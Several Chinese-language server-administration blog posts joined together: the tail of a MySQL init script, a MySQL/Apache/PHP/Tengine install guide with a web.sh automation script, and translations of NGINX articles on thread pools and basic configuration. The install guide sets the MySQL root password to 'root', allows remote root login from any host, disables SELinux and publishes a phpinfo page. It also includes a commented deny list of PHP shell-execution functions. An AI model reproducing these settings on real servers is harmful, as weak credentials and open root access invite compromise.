      fi
      exit $return_value
    else
      log_failure_msg "MySQL server PID file could not be found!"
    fi
    ;;

  'restart')
    # Stop the service and regardless of whether it was
    # running or not, start it again.
    if $0 stop  $other_args; then
      $0 start $other_args
    else
      log_failure_msg "Failed to stop running server, so refusing to try to start."
      exit 1
    fi
    ;;

  'reload'|'force-reload')
    if test -s "$mysqld_pid_file_path" ; then
      read mysqld_pid <  "$mysqld_pid_file_path"
      kill -HUP $mysqld_pid && log_success_msg "Reloading service MySQL"
      touch "$mysqld_pid_file_path"
    else
      log_failure_msg "MySQL PID file could not be found!"
      exit 1
    fi
    ;;
  'status')
    # First, check to see if pid file exists
    if test -s "$mysqld_pid_file_path" ; then 
      read mysqld_pid < "$mysqld_pid_file_path"
      if kill -0 $mysqld_pid 2>/dev/null ; then 
        log_success_msg "MySQL running ($mysqld_pid)"
        exit 0
      else
        log_failure_msg "MySQL is not running, but PID file exists"
        exit 1
      fi
    else
      # Try to find appropriate mysqld process
      mysqld_pid=`pidof $libexecdir/mysqld`

      # test if multiple pids exist
      pid_count=`echo $mysqld_pid | wc -w`
      if test $pid_count -gt 1 ; then
        log_failure_msg "Multiple MySQL running but PID file could not be found ($mysqld_pid)"
        exit 5
      elif test -z $mysqld_pid ; then 
        if test -f "$lock_file_path" ; then 
          log_failure_msg "MySQL is not running, but lock file ($lock_file_path) exists"
          exit 2
        fi 
        log_failure_msg "MySQL is not running"
        exit 3
      else
        log_failure_msg "MySQL is running but PID file could not be found"
        exit 4
      fi
    fi
    ;;
    *)
      # usage
      basename=`basename "$0"`
      echo "Usage: $basename  {start|stop|restart|reload|force-reload|status}  [ MySQL server options ]"
      exit 1
    ;;
esac

exit 0




bash#修改权限
chmod +x /etc/init.d/mysqld
service mysqld start

#增加MySQL系统环境变量
echo 'export PATH=$PATH:/app/local/mysql/bin'>>/etc/profile && source /etc/profile

#查看错误日志
tail -f /var/log/mysqld.log 

#用root账户登录并作简单的安全设置
/app/local/mysql/bin/mysql -uroot -p




sql#修改root密码
UPDATE mysql.user SET Password=password('root') WHERE User='root';

#删除无名用户
DELETE FROM mysql.user WHERE User='';

#删除root远程访问
DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost', '127.0.0.1', '::1');

#删除“test”数据库
DROP database test;

#允许远程访问
/app/local/mysql/bin/mysql -uroot -proot

use mysql;
update user set host='%' where user='root' AND host='localhost';
FLUSH PRIVILEGES;
select host, user from user;

#立即生效并退出MYSQL命令窗体
FLUSH PRIVILEGES;QUIT;




安装Apache


bashcd /app/local
tar zxvf httpd-2.2.29.tar.gz
cd httpd-2.2.29

./configure --prefix=/app/local/apache \
--enable-so \
--enable-rewrite \
--enable-modes-shared=most

make && make install 

vi /app/local/apache/conf/httpd.conf

#修改主机名
ServerName localhost:80
#查找AddType application/x-gzip .gz .tgz,在该行下面添加
AddType application/x-httpd-php .php
#查找DirectoryIndex index.html 把该行修改成
DirectoryIndex index.html index.htm index.php

/app/local/apache/bin/apachectl -t
cp /app/local/apache/bin/apachectl /etc/init.d/httpd





安装PHP


PHP基础环境


bash#yum安装或者使用下面源包编译安装
yum install libmcrypt libmcrypt-devel mcrypt mhash

#下载地址
http://sourceforge.net/projects/mcrypt/files/Libmcrypt/
http://sourceforge.net/projects/mcrypt/files/MCrypt/
http://sourceforge.net/projects/mhash/files/mhash/

#安装Libmcrypt
tar -zxvf libmcrypt-2.5.8.tar.gz
cd libmcrypt-2.5.8
./configure
make && make install
cd ../

3.安装mhash

tar -zxvf mhash-0.9.9.9.tar.gz
cd mhash-0.9.9.9
./configure
make && make install
cd ../

4.安装mcrypt

tar -zxvf mcrypt-2.6.8.tar.gz
cd mcrypt-2.6.8
LD_LIBRARY_PATH=/usr/local/lib ./configure
make && make install
cd ../

### 安装PHP

>extension根据需要定制，新增的OPcache建议暂时不要开启

``` bash
tar zxvf php-5.5.27.tar.gz
cd php-5.5.27

./configure --prefix=/app/local/php \
--with-config-file-path=/app/local/php/etc \
--enable-fpm \
--enable-mbstring \
--with-mhash \
--with-mcrypt \
--with-curl \
--with-openssl \
--with-mysql=mysqlnd \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd \
--with-apxs2=/app/local/apache/bin/apxs 
#--enable-opcache

make && make install

#配置php.ini
cp php.ini-development /app/local/php/etc/php.ini

#设置时区
sed -i "s#;date.timezone =#date.timezone = Asia/Shanghai#g" /app/local/php/etc/php.ini
#防止nginx文件类型错误解析漏洞
sed -i "s#;cgi.fix_pathinfo=1#cgi.fix_pathinfo=0#g" /app/local/php/etc/php.ini
#禁止显示php版本的信息
sed -i "s#expose_php = On#expose_php = Off#g" /app/local/php/etc/php.ini
#禁用危险函数（可选）
#sed -i "s#disable_functions =#disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source#g" /app/local/php/etc/php.ini

#enable-opcache后设置（可选）
[OPcache]
zend_extension = opcache.so
opcache.enable=1
opcache.memory_consumption = 64
opcache.interned_strings_buffer = 8
opcache.max_accelerated_files = 4000
opcache.revalidate_freq = 60
opcache.fast_shutdown = 1
opcache.enable_cli = 1




配置php-fpm


bash#编辑php-fpm
cp /app/local/php/etc/php-fpm.conf.default /app/local/php/etc/php-fpm.conf
vi /app/local/php/etc/php-fpm.conf

[global]
;错误日志
error_log = log/php-fpm.log
;错误日志级别
log_level = notice
[www]
;php-fpm监听端口
listen = 127.0.0.1:9000
;启动进程的帐户和组
user = www
group = www
;如果选择static，则由pm.max_children指定固定的子进程数。如果选择dynamic，则由后面3个参数动态决定
pm = dynamic
;子进程最大数
pm.max_children = 384
;启动时的进程数
pm.start_servers = 20
;保证空闲进程数最小值，如果空闲进程小于此值，则创建新的子进程
pm.min_spare_servers = 5
;保证空闲进程数最大值，如果空闲进程大于此值，此进行清理
pm.max_spare_servers = 35

;设置每个子进程重生之前服务的请求数。对于可能存在内存泄漏的第三方模块来说是非常有用的。如果设置为 '0' 则一直接受请求。等同于 PHP_FCGI_MAX_REQUESTS 环境变量。默认值: 0。
pm.max_requests = 1000
;每个子进程闲置多长时间就自杀
pm.process_idle_timeout = 10s
;设置单个请求的超时中止时间。该选项可能会对php.ini设置中的'max_execution_time'因为某些特殊原因没有中止运行的脚本有用。设置为 '0' 表示 'Off'.当经常出现502错误时可以尝试更改此选项。
request_terminate_timeout = 120
;当一个请求该设置的超时时间后，就会将对应的PHP调用堆栈信息完整写入到慢日志中。设置为 '0' 表示 'Off'
request_slowlog_timeout = 3s
;慢请求的记录日志,配合request_slowlog_timeout使用
slowlog = /app/local/php/var/log/php-fpm.slow.log
;设置文件打开描述符的rlimit限制。默认值: 系统定义值默认可打开句柄是1024，可使用 ulimit -n查看，ulimit -n 2048修改。
rlimit_files = 65535




bash
#设置php环境变量
echo 'export PATH=$PATH:/app/local/php/bin'>>/etc/profile && source /etc/profile
touch /app/local/php/var/log/php-fpm.slow.log

#添加php-fpm服务
cp /app/local/php-5.5.27/sapi/fpm/init.d.php-fpm /etc/rc.d/init.d/php-fpm
chmod +x /etc/rc.d/init.d/php-fpm
service php-fpm start

#设置开机自动启动服务
vi /etc/rc.local

ulimit -SHn 65535
service php-fpm start
service nginx start
service mysqld start




配置memcache/mongo/redis



  其它extension扩展都可以动态添加，没事的




bash#memcache
cd /app/local
tar zxvf memcache-3.0.8.tgz
cd memcache-3.0.8
/app/local/php/bin/phpize
./configure --enable-memcache \
--with-php-config=/app/local/php/bin/php-config \
--with-zlib-dir
make && make install

#mongo
cd /app/local
tar zxvf mongo-1.6.10.tgz
cd mongo-1.6.10
/app/local/php/bin/phpize
./configure --with-php-config=/app/local/php/bin/php-config
make && make install

#redis
cd /app/local
tar zxvf redis-2.2.7.tgz
cd redis-2.2.7
/app/local/php/bin/phpize
./configure --with-php-config=/app/local/php/bin/php-config
make && make install

#php.ini
vi /app/local/php/etc/php.ini  

[memcached]  
extension=memcached.so
[mongodb]  
extension=mongo.so 
[redis]  
extension=redis.so 

#重启生效
service php-fpm restart
php -i | grep php.ini
php -m




自动化部署



  服务器的上传目录可以自定义，安装目录默认统一修改为/app/{local,data}，执行脚本为web.sh




bashfile://E:\QQDownload\LTMP     (2 folders, 5 files, 27.66 MB, 30.76 MB in total.)
│  httpd-2.2.29.tar.gz     7.19 MB
│  pcre-8.37.tar.gz     1.95 MB
│  php-5.5.27.tar.gz     16.95 MB
│  tengine-2.1.0.tar.gz     1.58 MB
│  web.sh     4.10 KB
├─init     (1 folders, 12 files, 91.42 KB, 92.23 KB in total.)
│  │  allow.conf     35 bytes
│  │  bashrc     2.99 KB
│  │  deny.conf     35 bytes
│  │  limits.conf     1.86 KB
│  │  my.cnf     1.99 KB
│  │  mysqld     8.39 KB
│  │  nginx     2.22 KB
│  │  nginx.conf     1.34 KB
│  │  php-fpm     2.30 KB
│  │  php-fpm.conf     416 bytes
│  │  php.ini     67.83 KB
│  │  sysctl.conf     2.03 KB
│  └─vhosts     (0 folders, 1 files, 826 bytes, 826 bytes in total.)
│          localhost.conf     826 bytes
└─src     (0 folders, 6 files, 3.01 MB, 3.01 MB in total.)
        libmcrypt-2.5.8.tar.gz     1.27 MB
        mcrypt-2.6.8.tar.gz     460.85 KB
        memcache-3.0.8.tgz     68.87 KB
        mhash-0.9.9.9.tar.gz     909.61 KB
        mongo-1.6.10.tgz     204.19 KB
        redis-2.2.7.tgz     131.19 KB


#web.sh

#!/bin/bash

## alias
ltmp_local=$(cd "$(dirname "$0")"; pwd)
mkdir -p /app/{local,data}
unalias cp
ltmp_init=$ltmp_local/init/
ltmp_src=$ltmp_local/src/

## system

#history
cp ${ltmp_init}bashrc /etc/
#time
rm -rf /etc/localtime
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
#maildrop
sed 's/MAILTO=root/MAILTO=""/g' /etc/crontab
service crond restart
#selinux
setenforce 0
sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config
#limits
echo ulimit -SHn 65535 >> /etc/profile
source /etc/profile
cp ${ltmp_init}limits.conf /etc/security/
#tcp
cp ${ltmp_init}sysctl.conf  /etc/
#yum
yum -y install yum-fastestmirror
yum remove httpd mysql mysql-server php php-cli php-common php-devel php-gd  -y
yum install -y wget gcc gcc-c++ openssl* curl curl-devel libxml2 libxml2-devel glibc glibc-devel glib2 glib2-devel gd gd2 gd-devel gd2-devel libaio autoconf libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel
#download

cd /app/local
##PCRE - Perl Compatible Regular Expressions
#wget "ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.37.tar.gz"
##Tengine
#wget "http://tengine.taobao.org/download/tengine-2.1.0.tar.gz"
##MySQL
#wget "https://downloads.mariadb.com/archives/mysql-5.6/mysql-5.6.25-linux-glibc2.5-x86_64.tar.gz"
##PHP
#wget "http://cn2.php.net/distributions/php-5.6.11.tar.gz"
##Mhash
#wget "http://downloads.sourceforge.net/mhash/mhash-0.9.9.9.tar.gz"
##libmcrypt
#wget "http://downloads.sourceforge.net/mcrypt/libmcrypt-2.5.8.tar.gz"
##Mcrypt
#wget "http://downloads.sourceforge.net/mcrypt/mcrypt-2.6.8.tar.gz"

## soft
cd $ltmp_local
#pcre
tar zxvf pcre-8.37.tar.gz 1> /dev/null
cd pcre-8.37
./configure
make && make install
cd ../
#tengine
groupadd www
useradd -g www www
#安装Tengine
cd $ltmp_local
tar zxvf tengine-2.1.0.tar.gz 1> /dev/null
cd tengine-2.1.0
./configure --user=www --group=www \
--prefix=/app/local/nginx \
--with-http_stub_status_module \
--with-http_ssl_module \
--with-pcre=${ltmp_local}/pcre-8.37
make && make install
cd ../
#nginx config
cd $ltmp_local
cp ${ltmp_init}nginx.conf /app/local/nginx/conf/
cp -r ${ltmp_init}vhosts /app/local/nginx/conf/
mkdir -p /app/data/localhost
chmod +w /app/data/localhost
echo "<?php phpinfo();?>" > /app/data/localhost/phpinfo.php
chown -R www:www /app/data/localhost
echo 'export PATH=$PATH:/app/local/nginx/sbin'>>/etc/profile && source /etc/profile
cp ${ltmp_init}nginx /etc/rc.d/init.d/
chmod +x /etc/init.d/nginx
ulimit -SHn 65535
service nginx start
#libmcrypt
cd $ltmp_src
tar -zxvf libmcrypt-2.5.8.tar.gz 1> /dev/null
cd libmcrypt-2.5.8
./configure
make && make install
cd ../
#mhash
cd $ltmp_src
tar -zxvf mhash-0.9.9.9.tar.gz 1> /dev/null
cd mhash-0.9.9.9
./configure
make && make install
cd ../
#mcrypt
cd $ltmp_src
tar -zxvf mcrypt-2.6.8.tar.gz 1> /dev/null
cd mcrypt-2.6.8
LD_LIBRARY_PATH=/usr/local/lib ./configure
make && make install
cd ../
#php
cd $ltmp_local
tar zxvf php-5.5.27.tar.gz 1> /dev/null
cd php-5.5.27
./configure --prefix=/app/local/php \
--with-config-file-path=/app/local/php/etc \
--enable-fpm \
--enable-mbstring \
--with-mhash \
--with-mcrypt \
--with-curl \
--with-openssl \
--with-mysql=mysqlnd \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd
make && make install
#memcache
cd $ltmp_src
tar zxvf memcache-3.0.8.tgz  1> /dev/null
cd memcache-3.0.8
/app/local/php/bin/phpize
./configure --enable-memcache \
--with-php-config=/app/local/php/bin/php-config \
--with-zlib-dir
make && make install
#mongo
cd $ltmp_src
tar zxvf mongo-1.6.10.tgz  1> /dev/null
cd mongo-1.6.10
/app/local/php/bin/phpize
./configure --with-php-config=/app/local/php/bin/php-config
make && make install
#redis
cd $ltmp_src
#redis
tar zxvf redis-2.2.7.tgz  1> /dev/null
cd redis-2.2.7
/app/local/php/bin/phpize
./configure --with-php-config=/app/local/php/bin/php-config
make && make install
#php-fpm
cp ${ltmp_init}php.ini /app/local/php/etc/
cp ${ltmp_init}php-fpm.conf /app/local/php/etc/
echo 'export PATH=$PATH:/app/local/php/bin'>>/etc/profile && source /etc/profile
touch /app/local/php/var/log/php-fpm.slow.log
cp ${ltmp_local}/php-5.5.27/sapi/fpm/init.d.php-fpm /etc/rc.d/init.d/php-fpm
chmod +x /etc/rc.d/init.d/php-fpm
service php-fpm start
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前言


Nginx以异步、事件驱动的方式处理连接。传统的方式是每个请求新起一个进程或线程，Nginx没这样做，它通过非阻塞sockets、epoll、kqueue等高效手段，实现一个worker进程处理多个连接和请求。


一般情况下下是一个CPU内核对应一个worker进程，所以worker进程数量固定，并且不多，所以在任务切换上消耗的内存和CPU减少了。这种方式很不错，在高并发和扩展能力等方面都能体现。


看图说话，任务切换不见了。





但是异步事件模式很不喜欢阻塞（blocking）。很多第三方模块使用了阻塞模式的调用，有时候，用户乃至模块作者都不知道到阻塞调用会大大降低Nginx的性能。


Nginx自己的代码都有一些场景需要使用到阻塞，所以在1.7.11版本中，引入了新的“线程池”机制，在了解这个机制前，我们先瞅瞅阻塞。


问题


了解阻塞前，先讲两句


Nginx其实就是一个事件处理器，接收内核发出的所有与connections相关的事件信息，然后告诉操作系统该做什么。操作系统如此复杂和底层，所以Nginx的指挥必须叼。





从上图看，有超时、sockets准备好读写、错误通知等事件。这些事件都放在一个队列中，Nginx对事件队列进行处理。





如果一个事件对于到的操作非常耗时，那么整个队列的处理就会延迟。


“阻塞操作”就是这样一个导致队列处理延迟的什么鬼。举个例子，CPU密集型计算，资源访问（硬盘、mutex、同步访问数据库等等）。发生阻塞时，worker进程只能等待。


就跟过安检时一样，如果你的队伍里面有个小朋友带了一大瓶AD钙奶，那你只有等他喝完。





有些系统提供的异步文件接口,例如FreeBSD。Linux也提供了类似机制，但是不太好用。首先它要求文件或缓存是扇区对齐的，好吧，Nginx能做到。其次更苛刻的一点是，它要求文件设置O_DIRECT标志位，这就是说，所有访问这个文件的操作都是直接读取，不走任何缓存，这样反而会增加磁盘IO负担。


问了解决这些问题，1.7.11版本中引入了线程池。


线程池


你家楼下的顺丰快递就是一个线程池，不用每次寄快递都要去顺丰总部，狗屎一样的比喻。。





对Nginx来说，线程池的作用跟快递点一样。它包括一个任务队列以及配套线程。当一个worker进行需要处理阻塞操作时，它会将这个任务交给线程池来完成。





这里引入了一个新的队列，在例子中，这个队列因为读取资源导致缓慢，读取硬盘虽然慢，至少它不会影响事件队列的继续处理。


任何阻塞操作都可以放到线程池中。目前，我们只尝试了两个核心操作：主流操作系统的read()系统调用和Linux上的sendfile()。后续经过性能测试会考虑纳入更多的操作。


性能测试


为了证实上述理论，进行了如下测试，测试场景包括各种阻塞操作和非阻塞操作。


我们在一台48G内存的机器上生成了总共256的随机文件，每个文件大小为4MB。这样做的目的是保证数据不受内存缓存影响。


简单的配置如下：


worker_processes 16;

events {
    accept_mutex off;
}

http {
    include mime.types;
    default_type application/octet-stream;

    access_log off;
    sendfile on;
    sendfile_max_chunk 512k;

    server {
        listen 8000;

        location / {
            root /storage;
        }
    }
}



配置中进行了一些调优：禁用logging和accpet_mutex，启用sendfile并设置sendfile_max_chunk，有利于减少阻塞调用sendfile时带来的总时间。


测试机器配置为双Intel至强E5645（共12核-24线程），10G网卡，四块西数1003FBYX组成的RAID10，系统为Ubuntu Server 14.04.1 LTS。





两台配置一样的客户端，一台机器通过Lua和wrk随机产生200个并发请求，每个请求都不会命中缓存，所以Nginx处理时会产生读盘阻塞操作。另一台机器则是产生50个并发请求，每个请求读取固定文件，频繁的文件读取会命中缓存，所以一般情况下此类请求处理速度较快，当worker进程阻塞时请求速度会受影响。


通过ifstat和在第二台机器上wrk来监控系统吞吐性能。


无线程池结果


% ifstat -bi eth2
eth2
Kbps in  Kbps out
5531.24  1.03e+06
4855.23  812922.7
5994.66  1.07e+06
5476.27  981529.3
6353.62  1.12e+06
5166.17  892770.3
5522.81  978540.8
6208.10  985466.7
6370.79  1.12e+06
6123.33  1.07e+06



吞吐量大约是1Gbps，从top看，所有的worker进程主要消耗在阻塞I/O上（top中的D状态）


top - 10:40:47 up 11 days,  1:32,  1 user,  load average: 49.61, 45.77 62.89
Tasks: 375 total,  2 running, 373 sleeping,  0 stopped,  0 zombie
%Cpu(s):  0.0 us,  0.3 sy,  0.0 ni, 67.7 id, 31.9 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem:  49453440 total, 49149308 used,   304132 free,    98780 buffers
KiB Swap: 10474236 total,    20124 used, 10454112 free, 46903412 cached Mem

  PID USER     PR  NI    VIRT    RES     SHR S  %CPU %MEM    TIME+ COMMAND
 4639 vbart    20   0   47180  28152     496 D   0.7  0.1  0:00.17 nginx
 4632 vbart    20   0   47180  28196     536 D   0.3  0.1  0:00.11 nginx
 4633 vbart    20   0   47180  28324     540 D   0.3  0.1  0:00.11 nginx
 4635 vbart    20   0   47180  28136     480 D   0.3  0.1  0:00.12 nginx
 4636 vbart    20   0   47180  28208     536 D   0.3  0.1  0:00.14 nginx
 4637 vbart    20   0   47180  28208     536 D   0.3  0.1  0:00.10 nginx
 4638 vbart    20   0   47180  28204     536 D   0.3  0.1  0:00.12 nginx
 4640 vbart    20   0   47180  28324     540 D   0.3  0.1  0:00.13 nginx
 4641 vbart    20   0   47180  28324     540 D   0.3  0.1  0:00.13 nginx
 4642 vbart    20   0   47180  28208     536 D   0.3  0.1  0:00.11 nginx
 4643 vbart    20   0   47180  28276     536 D   0.3  0.1  0:00.29 nginx
 4644 vbart    20   0   47180  28204     536 D   0.3  0.1  0:00.11 nginx
 4645 vbart    20   0   47180  28204     536 D   0.3  0.1  0:00.17 nginx
 4646 vbart    20   0   47180  28204     536 D   0.3  0.1  0:00.12 nginx
 4647 vbart    20   0   47180  28208     532 D   0.3  0.1  0:00.17 nginx
 4631 vbart    20   0   47180    756     252 S   0.0  0.1  0:00.00 nginx
 4634 vbart    20   0   47180  28208     536 D   0.0  0.1  0:00.11 nginx
 4648 vbart    20   0   25232   1956    1160 R   0.0  0.0  0:00.08 top
25921 vbart    20   0  121956   2232    1056 S   0.0  0.0  0:01.97 sshd
25923 vbart    20   0   40304   4160    2208 S   0.0  0.0  0:00.53 zsh



IO受磁盘限制，CPU多数处于空闲状态。wrk结果表明性能也较低。


Running 1m test @ http://192.0.2.1:8000/1/1/1
  12 threads and 50 connections
  Thread Stats   Avg    Stdev     Max  +/- Stdev
    Latency     7.42s  5.31s   24.41s   74.73%
    Req/Sec     0.15    0.36     1.00    84.62%
  488 requests in 1.01m, 2.01GB read
Requests/sec:      8.08
Transfer/sec:     34.07MB



需要提醒的是，这些请求原本是应该命中缓存非常快速的，但是因为worker进程受第一台服务器的200并发影响，所以最终比较慢。


接下来对照线程池实验，在location配置中添加一个aio线程指令


location / {
    root /storage;
    aio threads;
}



重新加载Nginx配置后，重复上述测试


% ifstat -bi eth2
eth2
Kbps in  Kbps out
60915.19  9.51e+06
59978.89  9.51e+06
60122.38  9.51e+06
61179.06  9.51e+06
61798.40  9.51e+06
57072.97  9.50e+06
56072.61  9.51e+06
61279.63  9.51e+06
61243.54  9.51e+06
59632.50  9.50e+06



哇，产生了9.5Gbps的吞吐性能。


性能没准还能更改，因为已经达到了网卡瓶颈。这次，worker进程主要消耗在sleeping和时间等待上（top中的S状态）。


top - 10:43:17 up 11 days,  1:35,  1 user,  load average: 172.71, 93.84, 77.90
Tasks: 376 total,  1 running, 375 sleeping,  0 stopped,  0 zombie
%Cpu(s):  0.2 us,  1.2 sy,  0.0 ni, 34.8 id, 61.5 wa,  0.0 hi,  2.3 si,  0.0 st
KiB Mem:  49453440 total, 49096836 used,   356604 free,    97236 buffers
KiB Swap: 10474236 total,    22860 used, 10451376 free, 46836580 cached Mem

  PID USER     PR  NI    VIRT    RES     SHR S  %CPU %MEM    TIME+ COMMAND
 4654 vbart    20   0  309708  28844     596 S   9.0  0.1  0:08.65 nginx
 4660 vbart    20   0  309748  28920     596 S   6.6  0.1  0:14.82 nginx
 4658 vbart    20   0  309452  28424     520 S   4.3  0.1  0:01.40 nginx
 4663 vbart    20   0  309452  28476     572 S   4.3  0.1  0:01.32 nginx
 4667 vbart    20   0  309584  28712     588 S   3.7  0.1  0:05.19 nginx
 4656 vbart    20   0  309452  28476     572 S   3.3  0.1  0:01.84 nginx
 4664 vbart    20   0  309452  28428     524 S   3.3  0.1  0:01.29 nginx
 4652 vbart    20   0  309452  28476     572 S   3.0  0.1  0:01.46 nginx
 4662 vbart    20   0  309552  28700     596 S   2.7  0.1  0:05.92 nginx
 4661 vbart    20   0  309464  28636     596 S   2.3  0.1  0:01.59 nginx
 4653 vbart    20   0  309452  28476     572 S   1.7  0.1  0:01.70 nginx
 4666 vbart    20   0  309452  28428     524 S   1.3  0.1  0:01.63 nginx
 4657 vbart    20   0  309584  28696     592 S   1.0  0.1  0:00.64 nginx
 4655 vbart    20   0  30958   28476     572 S   0.7  0.1  0:02.81 nginx
 4659 vbart    20   0  309452  28468     564 S   0.3  0.1  0:01.20 nginx
 4665 vbart    20   0  309452  28476     572 S   0.3  0.1  0:00.71 nginx
 5180 vbart    20   0   25232   1952    1156 R   0.0  0.0  0:00.45 top
 4651 vbart    20   0   20032    752     252 S   0.0  0.0  0:00.00 nginx
25921 vbart    20   0  121956   2176    1000 S   0.0  0.0  0:01.98 sshd
25923 vbart    20   0   40304   3840    2208 S   0.0  0.0  0:00.54 zsh



就是说，CPU还是很富裕。


wrk的结果相差无几


Running 1m test @ http://192.0.2.1:8000/1/1/1
  12 threads and 50 connections
  Thread Stats   Avg      Stdev     Max  +/- Stdev
    Latency   226.32ms  392.76ms   1.72s   93.48%
    Req/Sec    20.02     10.84    59.00    65.91%
  15045 requests in 1.00m, 58.86GB read
Requests/sec:    250.57
Transfer/sec:      0.98GB



4MB文件的请求时间从7.41秒提升至了226.32毫秒（约33倍），QPS提升了大约31倍（250比8）。


提升的原因不再赘述，大约就是事件队列没有受阻罢了。


不是万灵丹


看到这里，是不是立马就想去修改你的生产环境了，且慢。


事实上，绝大多数的read和sendfile都是在缓存页中进行的，操作系统会把频繁使用的文件放在缓存页中。


当你的数据量较小，并且内存足够大时，Nginx已经是处于最佳状态了，开线程池反倒会引入开销。线程池能够良好应对的一个场景，是数据无法被完全缓存，例如流媒体服务器，我们上面的测试环境，就是模拟的流媒体服务。


能否用线程池来提升读操作的性能呢？唯一需要做的，就是能有效区分哪些文件已经被缓存，哪些文件未缓存。


咱们的系统没有提供这样的信息。早在2010年Linux尝试通过fincore()来实现未果。接下来是preadv2()和RWF_NONBLOCK标志位方式，可惜也不好用，具体可以参考内核bikeshedding一文。


哈哈，至少FreeBSD用户可以先喝咖啡了，无需在线程池问题上伤脑筋。


线程池配置


如果你确信引入线程池对性能提升有效，那么咱们可以继续了解一些调优参数。


这些调优都是基于1.7.11+ 版本，编译选项为--with-threads参数。最简单的场景下，仅需在http、server或location区块配置aio thread参数即可


aio threads;



它对应的完整配置是


thread_pool default threads=32 max_queue=65536;
aio threads=default;



默认情况下包括一个32个线程的线程池，长度为65536的请求队列。如果队列溢出，Nginx会输出如下错误并拒绝请求。


thread pool "NAME" queue overflow: N tasks waiting



这个错误表示这个线程池消费小于生产，所以可以增加队列长度，如果调整无效，说明系统达到了瓶颈。


另外，我们可以调整线程相关的参数，例如对不同场景，可以提供独立的线程池。


http {
    thread_pool one threads=128 max_queue=0;
    thread_pool two threads=32;

    server {
        location /one {
            aio threads=one;
        }

        location /two {
            aio threads=two;
        }
    }
…
}



在未定义max_queue时默认为65536，当设置成0时，服务能力等同线程数量。


假如你的缓存代理服务器有3块磁盘，内存不能放下预期需要缓存的文件，所以我们首先需要让磁盘工作最大化。


一个方式是RAID，好坏兼并。另一个方式是Nginx


# We assume that each of the hard drives is mounted on one of the directories:
# /mnt/disk1, /mnt/disk2, or /mnt/disk3 accordingly
proxy_cache_path /mnt/disk1 levels=1:2 keys_zone=cache_1:256m max_size=1024G 
                 use_temp_path=off;
proxy_cache_path /mnt/disk2 levels=1:2 keys_zone=cache_2:256m max_size=1024G 
                 use_temp_path=off;
proxy_cache_path /mnt/disk3 levels=1:2 keys_zone=cache_3:256m max_size=1024G 
                 use_temp_path=off;

thread_pool pool_1 threads=16;
thread_pool pool_2 threads=16;
thread_pool pool_3 threads=16;

split_clients $request_uri $disk {
    33.3%     1;
    33.3%     2;
    *         3;
}

location / {
    proxy_pass http://backend;
    proxy_cache_key $request_uri;
    proxy_cache cache_$disk;
    aio threads=pool_$disk;
    sendfile on;
}



使用了3个独立的缓存，每个缓存指定到一块磁盘，然后有3个独立的线程池。


split_clients模块用于缓存间的负载均衡。


use_temp_path=off参数让Nginx将缓存文件保存至文件同级目录，可以避免缓存更新时磁盘间的文件数据交换。


结论


明天他妈又要上课了


原文地址：http://nginx.com/blog/thread-pools-boost-performance-9x/
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兴趣使然的翻译，业余水平，nginx官方英文介绍文档很不错，可惜中文网上好像没有相应的翻译。


入门指引




启动，停止和重载配置

配置文件的结构

服务静态内容

建立简单的代理服务器

建立FastCGI代理



这个指引对nginx做了一些简单的介绍并且描述了一些它可以完成的简单任务。我们假定读者已经安装了nginx，如果没有的话，请看安装nginx页面。这个指引描述了如何启动和停止nginx，以及重载它的配置、解释了配置文件的结构以及如何让nginx服务静态内容、如何配置nginx使之成为代理服务器、和如何用将它和一个FastCGI的应用连接起来。


nginx有一个主进程和若干个工作进程。主进程的主要目的是读取和分析配置文件以及管理工作进程。工作进程处理实际的请求。nginx使用了基于事件的模型和操作系统依赖型的机制来有效地向工作进程分发请求。工作进程的数量由配置文件定义，也可以通过修改一个给定的配置文件中来改变，或者自动地根据cpu的核数进行调整（详见工作进程）


nginx和它的模块们的工作方式由配置文件决定，默认情况下，配置文件名叫nginx.conf，它被放置在/usr/local/nginx/conf，/etc/nginx 或 usr/local/etc/nginx 目录下。


启动，停止和重载配置


运行可执行文件来启动nginx。一旦nginx被启动，它可以通过调用带 -s 参数的可执行命令被控制。使用如下语法：


nginx -s signal


其中，signal 可以是以下几种之一：



	stop —— 快速关闭

	quit —— 平稳关闭

	reload —— 重载配置文件

	reopen —— 重新打开日志文件



例如，当需要等待工作进程处理完当前请求时才关闭nginx，可以使用以下命令：


nginx -s quit


这个命令应该由启动nginx的用户执行


对配置文件的更改不会立即生效直接到reload命令被执行或者nginx被重启。执行reload命令：


nginx -s reload


一旦主进程收到重载配置文件的信号，它会检查新配置文件的语法并尝试应用其中的配置。如果应用成功了，它会启动新的工作进程并且发送关闭的请求给旧的工作进程；否则，主进程回滚修改并且继续使用旧的配置工作。旧的工作进程收到关闭的命令后，停止接收新的连接并继续服务当前的请求直到所有这样的请求都被服务。然后，旧的工作进程就会关闭。


一个信号也可以通过unix工具被发送给nginx的进程，比如kill。在这种情况下，一个信号通过一个进程id直接被发送给进程。默认情况下，nginx的主进程id被记录在 /usr/local/nginx/logs 或 /var/run 目录下的nginx.pid文件里。例如，如果主进程id是1628，为了发送quit信号使nginx平稳关闭，可以执行：

kill -s QUIT 1628


为了获得所有运行中的nginx进程的列表，可以使用ps命令，例如：

ps -ax | grep nginx

更多的关于发送信号的信息，参加控制nginx


配置文件的结构


nginx包含一些被配置文件中的指令控制的模块。指令被分为简单指令和块级指令两种。一个简单指令包含了由空格分开的名称和参数，并且以分号结尾。一个块级指令和简单指令有一样的结构，但它不使用分号结尾而使用一些被{(和)}包围的额外结构来结尾。如果一个块级指令中包含了其它指令，那么它被称为一个上下文。比如events，http，server和location


#号后的内容是注释


服务静态内容


web服务器的一个重要任务是对外输出文件，比如图片和静态网页。你会实现一个这样的例子：根据不同的请求，文件会从不同的本地目录，如： /data/www (html) 和 /data/images 被输出。这需要修改配置文件并且在http块指令中建立带有两个location块的server块。


首先,创建/data/www的目录并且放置一个index.html的文件，然后创建/data/images目录并放置一些图片


接下来，打开配置文件。默认的配置文件中已经包含了几个server块指令的例子，其中大多数被注释掉了。现在，注释掉所有这样的块指令并且建立一个新的server块指令。


http {  
    server {  
    }  
}



